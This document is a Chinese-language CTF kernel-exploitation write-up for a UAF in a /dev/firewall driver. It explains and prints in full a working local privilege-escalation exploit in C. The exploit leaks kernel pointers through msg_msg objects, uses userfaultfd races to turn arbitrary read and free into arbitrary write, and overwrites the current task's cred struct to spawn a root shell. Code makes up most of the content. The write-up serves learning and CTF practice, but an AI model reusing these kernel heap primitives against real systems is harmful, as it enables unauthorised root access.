sysfs_bin_kfops_ro comes from mounting /sys in the init file. The symbol is there because the system is virtually noise-free: no other objects have been allocated since system startup、 sysfs_bin_kfops_ro来自在初始化文件中挂载/sys,由于系统实际上是无噪声的所以该符号在那(自系统启动以来没有分配过任何其他对象) sysfs_bin_kfops_ro belongs to the kernel data section and it is not affected by FGKASLR, so we can use it to calculate the kernel base address, or to calculate addresses of other symbols in the data section. sysfs_bin_kfops_ro属于内核数据区,不受FGKASLR影响,所以可以通过它来计算内核基址,或计算内核数据区中其他符号的地址

从越界读到任意读

[...]

uint64_t find_current_task(uint64_t init_task)
{
    pid_t pid, next_task_pid;
    uint64_t next_task;

    pid = getpid();

    printf("[+] Current task PID: %d\n", pid);
    puts("[*] Traversing tasks...");

	// 跳过第一块msg,索引到next指向的值
	// 这里+0x1f9实际上是留了8字节给前面+8跳过的8字节,从而偏移不变
    leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9;
    next_task = leak[0x298/8] - 0x298;

    leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;
    next_task_pid = leak[0x398/8];

    while (next_task_pid != pid) // [2]
    {
        next_task = leak[0x298/8] - 0x298; // [3]
        leak = arb_read(0, next_task + 8, 0x2000, 1) + 0x1f9;
        next_task_pid = leak[0x398/8]; // [4]
    }

    puts("[+] Current task found!");

    return next_task;
}

[...]

puts("[*] Locating current task address...");
uint64_t current_task = find_current_task(init_task); // [1]
printf("[+] Leaked current task address: 0x%lx\n", current_task);

[...]

首先找到当前task结构体,任意读方法在上一题分析中提过,即利用UAF修改next指针,读取0x1500字节数据,并跳过前0x1000-0x30字节,之后就是对应的next指向的内容(并控制next指向NULL指针,使msg_msgegnext为空)

寻找当前task的方法也和前文一样,task内部有双向指针链接,通过其对所有task遍历,找到与当前pid一致的task

找到当前task后,读取当前cred结构体的地址

// 0x1fa*8=0xfd0
leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;
cred_struct = leak[0x540/8];
printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);

任意地址释放

任意释放可以通过两次不带MSG_COPYflag的msgrcv()获得

[...]

msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2]

[...]

第一次执行msgrcv(),内核会释放属于qid[1]的第一个消息(kmalloc-64);再次调用时,会释放第二个消息(kmalloc-4k)和它各自的segment。内存结果如下图所示

在上面过程中,free_msg将kmalloc-4k的消息和它的segment释放了

由于空闲链表先进后出,当在kmalloc-4k中申请一个新的message和其对应的segment时,新的message会占用原来segment的位置,而新的segment则会占用原来message的位置,也就是说当释放后再次申请相应大小时,二者的位置互换了。而我们前面已经泄露了message的地址,也即新的segment的地址

如下示意图,我们已知绿色chunk的地址

[...]

void *allocate_msg1(void *_)
{
    printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10);

    if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2]
    {
        perror("msgget");
        exit(1);
    }

    memset(page_1, 0, PAGE_SIZE);
    ((unsigned long *)(page_1))[0xff0 / 8] = 1;

    if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3]
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 1] Message sent, *next overwritten!");
}

[...]

pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1]

[...]

现在使用pthread_create申请新消息队列qid[2]message和其segment。0x1ff8字节(0x30为header,0x1fc8为data),内核会在kmalloc-4k分配一个0x1000字节的message(0x30的header和0xfd0的data),和一个同样在kmalloc-4k分配的0x1000字节的segment(0x8字节的next指针和0xff8字节的data)

page_1 + PAGE_SIZE - 0x10用了userfaultfd进行监控,等待缺页

load_msg()尝试复制消息到内核中时,造成缺页,此时能够在copy_from_user()操作期间挂起内核线程

此时内核内存布局如下

[...]

void arb_free(int idx, uint64_t target)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
    void *memdump = malloc(0x2000);

    msg->m_list.next = queue; // [2]
    msg->m_list.prev = queue;
    msg->m_type =  1;
    msg->m_ts = 0x10;
    msg->next = target; // [3]

    edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); // [4]

    puts("[*] Triggering arb free...");
    msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5]
    puts("[+] Target freed!");

    free(memdump);
    free(msg);
}

[...]

arb_free(0, large_msg); // [1]

[...]

接着就能执行free原语了。arb_free()函数是用来释放新的segment的。利用之前泄露的queue指针填回原处,防止message在解链时crash,同时将next指针设置为目标地址:kmalloc-4k中新的segment。利用UAF修改header后内存如下

然后调用msgrecv()释放qid[0]的message。注意源码中当对msg执行free_msg时,不会判断其size,而是将msg_header和链接的所有segment全部释放掉。故这里会将qid[0]自己的msg_msg和利用UAF链上的新的segment都释放掉

从任意地址释放到任意地址写

现在创建一个新的线程,申请另一个message占用刚刚释放掉的内存

[...]

void *allocate_msg2(void *_)
{
    printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 + PAGE_SIZE - 0x10);

    if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2]
    {
        perror("msgget");
        exit(1);
    }

    memset(page_2, 0, PAGE_SIZE);
    ((unsigned long *)(page_2))[0xff0 / 8] = 1;

    if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3]
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 2] Message sent, target overwritten!");
}

[...]

pthread_create(&tid[3], NULL, allocate_msg2, NULL); // [1]

[...]

创建一个新消息队列qid[3],size设置为0x1028-0x30,则会分配一个kmalloc-4k-0x1000字节的msg_msg(0x30header+0xfd0data)的内存和一个kmalloc-64-0x30字节的msg_msgseg(8字节next指针和0x28data),会分别占位刚才释放的两处内存

同时这次缓冲区在page_2+PAGE_SIZE-0x10,因为另一个线程中使用userfaultfd监控page_2+PAGE_SIZE

load_msg()执行中触发缺页异常,内存如下

注意到此时qid[2]msg_msgseg变成了qid[3]msg_header,且当前qid[2]qid[3]中消息均处于缺页异常中

[...]

    if (page_fault_location == page_1 + PAGE_SIZE)
    {
        printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location);
        memset(buff, 0, PAGE_SIZE);

        puts("[PFH 1] Releasing faulting thread");

        struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);

        msg->m_type =  0x1;
        msg->m_ts = 0x1000;
        msg->next = (uint64_t)(cred_struct - 0x8); // [1]

        ufd_copy.dst = (unsigned long)(page_fault_location);
        ufd_copy.src = (unsigned long)(&buff);
        ufd_copy.len = PAGE_SIZE;
        ufd_copy.mode = 0;
        ufd_copy.copy = 0;

        for (;;)
        {
            if (release_pfh_1)
            {
                if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
                {
                    perror("ioctl(UFFDIO_COPY)");
                    exit(1);
                }

                puts("[PFH 1] Faulting thread released");
                break;
            }
        }
    }

[...]

接下来可以先修复qid[2]的缺页异常,从而修改qid[3]msg_header中的next指向current_cred结构体-0x8字节处,再恢复qid[3]的缺页异常,就能够将数据写入current_cred中,从而完成提权

当第一个异常线程释放时,内存如下

接着向cred写入数据并释放第二个异常线程

exp

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <linux/userfaultfd.h>
#include <linux/netlink.h>
#include <arpa/inet.h>

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUPLICATE_RULE 0xbaad5aad

#define MSG_COPY 040000

#define NF_DROP 0
#define NF_ACCEPT 1
#define NF_STOLEN 2
#define NF_QUEUE 3
#define NF_REPEAT 4
#define NF_STOP 5

#define INBOUND 0
#define OUTBOUND 1

#define DESC_MAX 0x800
#define PAGE_SIZE 0x1000

#define INIT_IPC_NS 0xd7a0

#define DEVICE_PATH "/dev/firewall"

static int fd, ufd, ufd_qid;
static unsigned char buff[PAGE_SIZE];
static unsigned char buff2[PAGE_SIZE];
static void *page_1;
static void *page_2;
static uint64_t *leak;
static uint64_t cred_struct;
static int qid[0x100];

uint64_t large_msg = 0;
uint64_t queue = 0;
uint64_t release_pfh_1 = 0;
uint64_t release_pfh_2 = 0;

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
} user_req_t;


struct list_head {
    struct list_head *next, *prev;
};


struct evil_msg {
    struct list_head m_list;
    long int m_type;
    size_t m_ts;
    uint64_t next;
};


char *ip_to_ascii(uint32_t ip)
{
    char *ascii_ip;
    struct in_addr addr;

    addr.s_addr = ip;
    ascii_ip = (char *)malloc(sizeof(void *) * 3);
    memset(ascii_ip, 0, 24);
    strncpy(ascii_ip, inet_ntoa(addr), 16);

    return ascii_ip;
}


char **convert_address(uint64_t addr, uint8_t invalid)
{
    char **addresses;
    uint32_t h, l;

    addresses = (char **)malloc(sizeof(void *) * 2);

    h = ((addr >> 32) & 0xFFFFFFFF);
    l = (addr & 0xFFFFFFFF);

    addresses[0] = invalid ? "NopeNope!" : ip_to_ascii(h);
    addresses[1] = invalid ? "NopeNope!" : ip_to_ascii(l);

    return addresses;
}


void free_addresses(char **addresses)
{
    free(addresses[0]);
    free(addresses[1]);
    free(addresses);
}


void add_rule(uint64_t idx, unsigned char *buff, uint8_t type)
{
    char **addresses;
    user_req_t req;

    memset(&req, 0, sizeof(user_req_t));
    addresses = convert_address(((unsigned long *)(buff))[4], 0);

    req.idx = idx;
    req.type = type;

    memcpy(req.iface, buff, 16);
    memcpy(req.name, buff + 16, 16);
    strncpy(req.ip, addresses[1], 16);
    strncpy(req.netmask, addresses[0], 16);

    free_addresses(addresses);

    ioctl(fd, ADD_RULE, &req);
}


void edit_rule(uint64_t idx, unsigned char *buff, uint8_t type, uint8_t invalid)
{
    char **addresses;
    user_req_t req;

    memset(&req, 0, sizeof(user_req_t));
    addresses = convert_address(((unsigned long *)(buff))[4], invalid);

    req.idx = idx;
    req.type = type;

    memcpy(req.iface, buff, 16);
    memcpy(req.name, buff + 16, 16);
    strncpy(req.ip, addresses[1], 16);
    strncpy(req.netmask, addresses[0], 16);

    if (!invalid)
        free_addresses(addresses);

    ioctl(fd, EDIT_RULE, &req);
}


void duplicate_rule(uint64_t idx, uint8_t type)
{
    user_req_t req;

    memset(&req, 0, sizeof(user_req_t));

    req.type = type;
    req.idx = idx;

    ioctl(fd, DUPLICATE_RULE, &req);
}


void delete_rule(uint64_t idx, uint8_t type)
{
    user_req_t req;

    memset(&req, 0, sizeof(user_req_t));

    req.type = type;
    req.idx = idx;

    ioctl(fd, DELETE_RULE, &req);
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


void hexdump(unsigned char *buff, size_t size)
{
    int i,j;

    for (i = 0; i < size/8; i++)
    {
        if ((i % 2) == 0)
        {
            if (i != 0)
                printf("  \n");

            printf("  %04x  ", i*8);
        }

        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }

    putchar('\n');
}


void send_msg(int qid, int size, int c)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - 0x30];
    } msg;

    msg.mtype = 1;
    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("msgsnd");
        exit(1);
    }
}


void *recv_msg(int qid, size_t size)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)
    {
        perror("msgrcv");
        return NULL;
    }

    return memdump;
}


int userfaultfd(int flags)
{
    return syscall(SYS_userfaultfd, flags);
}


int initialize_ufd(void *page)
{
    int fd;

    struct uffdio_register reg;

    if ((fd = userfaultfd(O_NONBLOCK)) == -1)
    {
        perror("[ERROR] Userfaultfd failed");
        exit(1);
    }

    if ((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    struct uffdio_api api = { .api = UFFD_API };

    if (ioctl(fd, UFFDIO_API, &api))
    {
        perror("[ERROR] ioctl - UFFDIO_API failed");
        exit(1);
    }

    if (api.api != UFFD_API)
    {
        puts("[ERROR] Unexepcted UFFD api version!");
        exit(1);
    }

    printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2);

    reg.mode = UFFDIO_REGISTER_MODE_MISSING;
    reg.range.start = (long)(page + PAGE_SIZE);
    reg.range.len = PAGE_SIZE;

    if (ioctl(fd, UFFDIO_REGISTER,  &reg))
    {
        perror("[ERROR] ioctl - UFFDIO_REGISTER failed");
        exit(1);
    }

    return fd;
}


void *page_fault_handler_1(void *_ufd)
{
    struct pollfd pollfd;
    struct uffd_msg fault_msg;
    struct uffdio_copy ufd_copy;
    struct uffdio_range ufd_range;

    pid_t pid;
    int ufd = *((int *)_ufd);

    pollfd.fd = ufd;
    pollfd.events = POLLIN;

    puts("[PFH 1] Started!");

    while (poll(&pollfd, 1, -1) > 0)
    {
        if ((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP))
        {
            perror("[ERROR] Polling failed");
            exit(1);
        }

        if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg))
        {
            perror("[ERROR] Read - fault_msg failed");
            exit(1);
        }

        char *page_fault_location = (char *)fault_msg.arg.pagefault.address;

        if (fault_msg.event != UFFD_EVENT_PAGEFAULT)
        {
            perror("[ERROR] Unexpected pagefault?");
            exit(1);
        }

        if (page_fault_location == page_1 + PAGE_SIZE)
        {
            printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location);
            memset(buff, 0, PAGE_SIZE);

            puts("[PFH 1] Releasing faulting thread");

            struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);

            msg->m_type =  0x1;
            msg->m_ts = 0x1000;
            msg->next = (uint64_t)(cred_struct - 0x8);

            ufd_copy.dst = (unsigned long)(page_fault_location);
            ufd_copy.src = (unsigned long)(&buff);
            ufd_copy.len = PAGE_SIZE;
            ufd_copy.mode = 0;
            ufd_copy.copy = 0;

            for (;;)
            {
                if (release_pfh_1)
                {
                    if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
                    {
                        perror("ioctl(UFFDIO_COPY)");
                        exit(1);
                    }

                    puts("[PFH 1] Faulting thread released");
                    break;
                }
            }
        }
        return;
    }
}


void *page_fault_handler_2(void *_ufd)
{
    struct pollfd pollfd;
    struct uffd_msg fault_msg;
    struct uffdio_copy ufd_copy;
    struct uffdio_range ufd_range;

    pid_t pid;
    int ufd = *((int *)_ufd);

    pollfd.fd = ufd;
    pollfd.events = POLLIN;

    puts("[PFH 2] Started!");

    while (poll(&pollfd, 1, -1) > 0)
    {
        if ((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP))
        {
            perror("[ERROR] Polling failed");
            exit(1);
        }

        if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg))
        {
            perror("[ERROR] Read - fault_msg failed");
            exit(1);
        }

        char *page_fault_location = (char *)fault_msg.arg.pagefault.address;

        if (fault_msg.event != UFFD_EVENT_PAGEFAULT)
        {
            perror("[ERROR] Unexpected pagefault?");
            exit(1);
        }

        if (page_fault_location == page_2 + PAGE_SIZE)
        {
            printf("[PFH 2] Page fault at 0x%lx\n", page_fault_location);

            memset(buff2, 0, PAGE_SIZE);

            release_pfh_1 = 1;

            sleep(1);
            puts("[PFH 2] Releasing faulting thread");

            ufd_copy.dst = (unsigned long)(page_fault_location);
            ufd_copy.src = (unsigned long)(&buff2);
            ufd_copy.len = PAGE_SIZE;
            ufd_copy.mode = 0;
            ufd_copy.copy = 0;

            if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
            {
                perror("ioctl(UFFDIO_COPY)");
                exit(1);
            }

            puts("[PFH 2] Faulting thread released");
        }
        return;
    }
}


uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);

    msg->m_type =  0;
    msg->m_ts = size;

    if (overwrite)
    {
        msg->next = target;
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);
    }
    else
    {
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1);
    }

    free(msg);

    return recv_msg(qid[0], size);
}


void arb_free(int idx, uint64_t target)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
    void *memdump = malloc(0x2000);

    msg->m_list.next = queue;
    msg->m_list.prev = queue;
    msg->m_type =  1;
    msg->m_ts = 0x10;
    msg->next = target;

    edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);

    puts("[*] Triggering arb free...");
    msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR);
    puts("[+] Target freed!");

    free(memdump);
    free(msg);
}


uint64_t find_current_task(uint64_t init_task)
{
    pid_t pid, next_task_pid;
    uint64_t next_task;

    pid = getpid();

    printf("[+] Current task PID: %d\n", pid);
    puts("[*] Traversing tasks...");

    // 跳过第一块msg,索引到next指向的值
    // 这里+0x1f9实际上是留了8字节给前面+8跳过的8字节,从而偏移不变
    leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9;
    next_task = leak[0x298/8] - 0x298;

    leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;
    next_task_pid = leak[0x398/8];

    while (next_task_pid != pid)
    {
        next_task = leak[0x298/8] - 0x298;
        leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;
        next_task_pid = leak[0x398/8];
    }

    puts("[+] Current task found!");

    return next_task;
}


void *allocate_msg1(void *_)
{
    printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10);

    if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    memset(page_1, 0, PAGE_SIZE);
    ((unsigned long *)(page_1))[0xff0 / 8] = 1;

    if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0)
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 1] Message sent, *next overwritten!");
}


void *allocate_msg2(void *_)
{
    printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 + PAGE_SIZE - 0x10);

    if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    memset(page_2, 0, PAGE_SIZE);
    ((unsigned long *)(page_2))[0xff0 / 8] = 1;

    if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0)
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 2] Message sent, target overwritten!");
}


void main(void)
{
    pthread_t tid[4];

    fd = open(DEVICE_PATH, O_RDONLY);

    puts("[*] Mmapping pages...");

    page_1 = mmap((void *)0xdead000, PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    page_2 = mmap((void *)0xcafe000, PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);

    int ufd_1 = initialize_ufd(page_1);
    int ufd_2 = initialize_ufd(page_2);

    pthread_create(&tid[0], NULL, page_fault_handler_1, &ufd_1);
    pthread_create(&tid[1], NULL, page_fault_handler_2, &ufd_2);

    // 创建两个消息队列
    if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    memset(buff, 0, PAGE_SIZE);

    // 触发UAF
    add_rule(0, buff, INBOUND);
    duplicate_rule(0, INBOUND);
    delete_rule(0, INBOUND);

    // 拿回UAF的0x40空间
    send_msg(qid[0], 0x40, 'C');
    send_msg(qid[1], 0x40, 'B');
    send_msg(qid[1], 0x1ff8, 'A');

    puts("[*] Allocating messages...");
    uint64_t *leak = arb_read(0, 0, 0x2000, 0);
    puts("[*] Looking for pointers...");

    uint64_t init_task = 0;
    for (int i = 0; i < 0x400; i++)
    {

        if ((leak[i] & 0xffff) == 0x4242 && !large_msg)
        {
            large_msg = leak[i - 6];
            queue = leak[i - 5];
        }

        else if ((leak[i] & 0xffff) == 0x59a0 && !init_task)
            init_task = leak[i] + 0x1fcb20; // sysfs_bin_kfops_ro

        if (queue && large_msg && init_task)
            break;
    }

    if (!queue || !large_msg || !init_task)
    {
        puts("[X] Leak failed, try again!");
        delete_rule(0, OUTBOUND);
        msgctl(qid[1], IPC_RMID, NULL);
        exit(1);
    }

    printf("[+] Queue found: 0x%lx\n", queue);
    printf("[+] 4k message found: 0x%lx\n", large_msg);
    printf("[+] sysfs_bin_kfops_ro found, init_task: 0x%lx\n", init_task);

    puts("[*] Locating current task address...");
    uint64_t current_task = find_current_task(init_task);
    printf("[+] Leaked current task address: 0x%lx\n", current_task);

    // 0x1fa*8=0xfd0
    leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;
    cred_struct = leak[0x540/8];
    printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);

    printf("[+] Current task uid: %d\n", getuid());
    printf("[+] Current task gid: %d\n", getgid());
    printf("[+] Current task euid: %d\n", geteuid());

    void *memdump = malloc(0x2000);

    msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);
    msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);

    pthread_create(&tid[2], NULL, allocate_msg1, NULL);

    sleep(1);
    arb_free(0, large_msg);

    pthread_create(&tid[3], NULL, allocate_msg2, NULL);

    pthread_join(tid[2], NULL);
    pthread_join(tid[3], NULL);

    printf("[+] Current task uid: %d\n", getuid());
    printf("[+] Current task gid: %d\n", getgid());
    printf("[+] Current task euid: %d\n", geteuid());

    if (!getuid())
    {
        puts("[+] We are root!");
        system("/bin/sh");
    }
}

Misc

使用ubuntu16编译,将kernel.config直接复制为.config,然后make menuconfig一次直接退出即可(原配置即有debug info),这一步意义是自动修改config头相关信息为本机配置。然后make即可

使用ubuntu20编译出现yy_flex_debug符号相关报错,无法解决

调试发现报错remote ‘g’ packet reply is too long,且设置architecture后仍存在,且ubuntu20没有这个问题,猜测gdb版本原因,直接手动升级为10.2

参考:https://blog.csdn.net/qq_39153421/article/details/116753735

一开始想直接打一发exp发现卡在中间不动,后发现是因为开了编译优化-O3导致。由于两个缺页异常的恢复需要确定先后,故使用一个全局变量进行判断,若为0则持续while循环,等待前序操作完成。然而编译优化后直接让此处成为死循环,故卡死。去掉优化即可

总结

修改m_ts

需要触发缺页异常,每次msgsnd()会新alloc内存并做写操作,msg不能复用。核心逻辑是在kmalloc()之后,copy_from_user()之前将next修改掉

Reference